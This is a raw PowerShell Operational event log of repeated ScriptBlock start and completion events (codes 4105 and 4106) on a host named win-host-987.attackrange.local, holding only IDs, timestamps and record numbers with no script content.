Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025689
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025688
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025687
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025686
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025685
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025684
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025683
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025682
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025681
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025680
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025679
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025678
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025677
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025676
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025675
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025674
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025673
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025672
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025671
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025670
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025669
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025668
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025667
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025666
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025665
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025664
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025663
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025662
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025661
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025660
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025659
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025658
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025657
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025656
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025655
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025654
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025653
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025652
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025651
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025650
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025649
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025648
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025647
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025646
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025645
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025644
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025643
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025642
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025641
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025640
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025639
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025638
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025637
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
